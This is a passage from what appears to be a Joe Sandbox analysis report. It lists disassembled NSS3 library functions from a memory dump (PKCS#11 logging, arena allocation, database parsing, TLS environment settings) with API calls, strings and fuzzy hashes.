PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CACB041

Strings

ulDataLen = %d, xrefs: 6CACB00A
(CK_INVALID_HANDLE), xrefs: 6CACAF7C
pData = 0x%p, xrefs: 6CACAFEF
hSession = 0x%x, xrefs: 6CACAF5E, 6CACAF6E
pulSignatureLen = 0x%p, xrefs: 6CACB03C
pSignature = 0x%p, xrefs: 6CACB023
C_SignMessage, xrefs: 6CACAF41
ulParameterLen = 0x%p, xrefs: 6CACAFD4
pParameter = 0x%p, xrefs: 6CACAFB9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
Opcode ID: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction ID: e07aa7a8b9e36ab14b1500124fa718eee5e9300cfc6b30b7e2915edde071cf58
Opcode Fuzzy Hash: 6dc66069f6d7d46cf9315c6c6819e65c7de402897ca503de3a00a88de356e49d
Instruction Fuzzy Hash: 0A41B379701184AFDB008F54FD88EDE7BB2EB4231DF484024E91967B11DB318999CBAB

Function 6CAFC980 Relevance: 33.3, APIs: 22, Instructions: 298memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,6CAFAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CAFC98E

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,6CAFAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CAFC9A1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECOID_FindOIDByTag_Util.NSS3(0000001A,?,?,?,6CAFAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CAFC9D3

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000,?,?,?,?,6CAFAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CAFC9E6

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,6CAFAEB0,?,00000004,00000001,?,00000000,?,?), ref: 6CAFC9F5
PORT_ArenaAlloc_Util.NSS3(00000000,00000050,?,?,?,?,?,?,?,6CAFAEB0,?,00000004,00000001,?,00000000,?), ref: 6CAFCA0A
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,6CAFAEB0,?,00000004,00000001), ref: 6CAFCA33
SECOID_FindOIDByTag_Util.NSS3(00000019,?,?,?,?,?,?,?,?,?,?,?,?,6CAFAEB0,?,00000004), ref: 6CAFCA4D
SECITEM_CopyItem_Util.NSS3(00000001,?,00000000), ref: 6CAFCA60
SEC_PKCS7DestroyContentInfo.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CAFAEB0,?,00000004), ref: 6CAFCA6D
PR_Now.NSS3 ref: 6CAFCAD6
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CAFCB23
PORT_ArenaAlloc_Util.NSS3(00000000,0000005C), ref: 6CAFCB32
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000000,00000001), ref: 6CAFCB64
SECOID_SetAlgorithmID_Util.NSS3(00000000,?,00000001,00000000), ref: 6CAFCBBB
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CAFCBD0
PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CAFCBF6
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CAFCC18
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000001,00000000), ref: 6CAFCC39
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CAFCC5B

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CAFCC69
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6CAFCC89

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyItem_$AlgorithmAllocateArena_EncodeFindInteger_Tag_Value$ContentCriticalDestroyEnterErrorFreeInfoInitLockMark_PoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1766420342-0
Opcode ID: dbb3f11df2ed941c9145f10b2bfad909dec24723a05a9d5030bca019f631dbfc
Instruction ID: ff0fe66113bb0d8427a0c56aeb3dfbd04288c999a6846ca51c344663e8441a9a
Opcode Fuzzy Hash: dbb3f11df2ed941c9145f10b2bfad909dec24723a05a9d5030bca019f631dbfc
Instruction Fuzzy Hash: EBB19EB5D002069BEB10DF66DD80BAA77B4BF1830CF144125F924A7752E771E9DACBA0

Function 6CAD6CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CAD6943
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CAD6957
Part of subcall function 6CAD6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CAD6972
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CAD6983
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CAD69AA
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CAD69BE
Part of subcall function 6CAD6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CAD69D2
Part of subcall function 6CAD6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CAD69DF
Part of subcall function 6CAD6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CAD6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6D8C
free.MOZGLUE(00000000), ref: 6CAD6DC5
free.MOZGLUE(?), ref: 6CAD6DD6
free.MOZGLUE(?), ref: 6CAD6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CAD6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6E72
free.MOZGLUE(?), ref: 6CAD6EA7
free.MOZGLUE(?), ref: 6CAD6EC4
free.MOZGLUE(?), ref: 6CAD6ED5
free.MOZGLUE(00000000), ref: 6CAD6EE3
free.MOZGLUE(?), ref: 6CAD6EF4
free.MOZGLUE(?), ref: 6CAD6F08
free.MOZGLUE(00000000), ref: 6CAD6F35
free.MOZGLUE(?), ref: 6CAD6F44
free.MOZGLUE(?), ref: 6CAD6F5B
free.MOZGLUE(00000000), ref: 6CAD6F65

Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CAD781D,00000000,6CACBE2C,?,6CAD6B1D,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C40
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CAD781D,?,6CACBE2C,?), ref: 6CAD6C58
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CAD781D), ref: 6CAD6C6F
Part of subcall function 6CAD6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CAD6C84
Part of subcall function 6CAD6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CAD6C96
Part of subcall function 6CAD6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CAD6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CAD6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CAD6FF4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction ID: cd2d041f74d232a77d3f572bf865650c8150c02d739e88bbb902c9d29c3ed544
Opcode Fuzzy Hash: 15db761ab09c5aad81d7a0456256d285ae0a61f1eb838d874b59cafeb2152cfe
Instruction Fuzzy Hash: ADB160B0E0121A9FDF00CFA5D844B9EBBB4AF09748F1A0925E815E7701EB31F994CB61

Function 6CAD4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAD4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CAD4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4DB7

Part of subcall function 6CB3DD70: TlsGetValue.KERNEL32 ref: 6CB3DD8C
Part of subcall function 6CB3DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

TlsGetValue.KERNEL32 ref: 6CAD4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CAD4DEC
PR_Unlock.NSS3(?), ref: 6CAD4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CAD4E71
free.MOZGLUE(00000000), ref: 6CAD4E7A
PR_Unlock.NSS3(?), ref: 6CAD4EA2
TlsGetValue.KERNEL32 ref: 6CAD4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CAD4ED6
PR_Unlock.NSS3(?), ref: 6CAD4F01
free.MOZGLUE(00000000), ref: 6CAD4F2A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction ID: 81e94afeb7b10dafa99526643b5f5091c1c0be4feaf9f905a21ea51a21f2eb9f
Opcode Fuzzy Hash: 600bba5d181b268f0ca71ecd1393335ef2d7e50fcd1c2f6b891f2a1f13b74b7f
Instruction Fuzzy Hash: 6DB1C175A00206AFDB01EF68E885BAE77B4BF09318F094124ED1597B51EB34F9A4CBD1

Function 6CB26E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CB26BF7), ref: 6CB26EB6

Part of subcall function 6CA81240: TlsGetValue.KERNEL32(00000040,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81267
Part of subcall function 6CA81240: EnterCriticalSection.KERNEL32(?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA8127C
Part of subcall function 6CA81240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA81291
Part of subcall function 6CA81240: PR_Unlock.NSS3(?,?,?,?,6CA8116C,NSPR_LOG_MODULES), ref: 6CA812A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CBCFC0A,6CB26BF7), ref: 6CB26ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB26EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CB26EFC
PR_NewLock.NSS3 ref: 6CB26F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CB26F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CB26BF7), ref: 6CB26F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CB26BF7), ref: 6CB26F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CB26BF7), ref: 6CB26FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CB26BF7), ref: 6CB26FFD

Strings

SSLKEYLOGFILE, xrefs: 6CB26EB1
SSLFORCELOCKS, xrefs: 6CB26F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CB26FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CB26F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CB26EF7
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CB26FF8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction ID: e7aaaedec68aeafe9964d3ad90e25a6c7b0075e08d44238b82449d09319ba95c
Opcode Fuzzy Hash: 8b309e8789896ed391f567787daee472658b77753eccfc6ff6d157922c859a40
Instruction Fuzzy Hash: 3CA129B2A658D087EB10463CEC007B937E1AB83339F584365E839D7FD4DBBD94418256

Function 6CA9C4B0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 247COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA9C4D5

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA9C516
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA9C530
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA9C54E
NSS_GetAlgorithmPolicy.NSS3(00000000,00000000), ref: 6CA9C5CB
VFY_VerifyDataWithAlgorithmID.NSS3(00000002,?,?,?,?,?,?), ref: 6CA9C712
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CA9C725
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA9C742
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CA9C751
PL_FinishArenaPool.NSS3(?), ref: 6CA9C77A
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA9C78F
NSS_GetAlgorithmPolicy.NSS3(?,00000000), ref: 6CA9C7A9

Strings

security, xrefs: 6CA9C63F

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Algorithm$Policy$Util$ErrorTag_$ArenaDataFindFinishPoolVerifyWith
String ID: security
API String ID: 1085474831-3315324353
Opcode ID: 43820f31be7395926d968abeb54eaf330c0462b94b9ebab8117912eaa6746b11
Instruction ID: f58020606ce50037702abf5d0343947768aba68bd25723c7f308dcc84b77fce6
Opcode Fuzzy Hash: 43820f31be7395926d968abeb54eaf330c0462b94b9ebab8117912eaa6746b11
Instruction Fuzzy Hash: E2812A71C10508ABEF00EA94DD82BEE77F4DF0131CF184125E915A7A91E731DAC9CBA2

Function 6CAC6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CAC6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC6DC3

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CAC6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CAC6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CAC6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CAC6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CAC6EB9

Strings

C_Digest, xrefs: 6CAC6D81
pDigest = 0x%p, xrefs: 6CAC6E27
ulDataLen = %d, xrefs: 6CAC6E0E
(CK_INVALID_HANDLE), xrefs: 6CAC6DBC
pData = 0x%p, xrefs: 6CAC6DF5
hSession = 0x%x, xrefs: 6CAC6D9E, 6CAC6DAE
pulDigestLen = 0x%p, xrefs: 6CAC6E42
*pulDigestLen = 0x%x, xrefs: 6CAC6EB4

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction ID: 3c6759912f30754fc3bc771945c7cb3d07d998e069f775b9cb44e2878437377b
Opcode Fuzzy Hash: 469b0ba2ebcab582fe4ed97440d2302fabfb70f1e71eb43e7c5c6ee319ea0534
Instruction Fuzzy Hash: 4B41B235701084AFDB01DBA4ED89AAA3BB5EB42318F484025E819A7711DB30D999CB97

Function 6CAC8820 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptVerifyUpdate), ref: 6CAC8846
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CAC8874
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CAC8883

Part of subcall function 6CBAD930: PL_strncpyz.NSS3(?,?,?), ref: 6CBAD963

PR_LogPrint.NSS3(?,00000000), ref: 6CAC8899
PR_LogPrint.NSS3( pEncryptedPart = 0x%p,?), ref: 6CAC88BA
PR_LogPrint.NSS3( ulEncryptedPartLen = %d,?), ref: 6CAC88D3
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CAC88EC
PR_LogPrint.NSS3( pulPartLen = 0x%p,?), ref: 6CAC8907
PR_LogPrint.NSS3( *pulPartLen = 0x%x,?), ref: 6CAC8979

Strings

pulPartLen = 0x%p, xrefs: 6CAC8902
pEncryptedPart = 0x%p, xrefs: 6CAC88B5
C_DecryptVerifyUpdate, xrefs: 6CAC8841
ulEncryptedPartLen = %d, xrefs: 6CAC88CE
(CK_INVALID_HANDLE), xrefs: 6CAC887C
hSession = 0x%x, xrefs: 6CAC885E, 6CAC886E
*pulPartLen = 0x%x, xrefs: 6CAC8974
pPart = 0x%p, xrefs: 6CAC88E7

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulPartLen = 0x%x$ hSession = 0x%x$ pEncryptedPart = 0x%p$ pPart = 0x%p$ pulPartLen = 0x%p$ ulEncryptedPartLen = %d$ (CK_INVALID_HANDLE)$C_DecryptVerifyUpdate
API String ID: 1003633598-2764998763
Opcode ID: fbbea457552c5c2515a9c6932f5974fdf03739d9793ca0af8b3f1777c4f4c7b9
Instruction ID: 74003b36247edb39ff04aada963ff91c034a0968da260daff9b460b362c04a2d
Opcode Fuzzy Hash: fbbea457552c5c2515a9c6932f5974fdf03739d9793ca0af8b3f1777c4f4c7b9
Instruction Fuzzy Hash: BE41B279701084AFDB008F94EE88E9E7BB5FB4631CF484025E91967B11DB309998CBA7

Function 6CAC6960 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptUpdate), ref: 6CAC6986
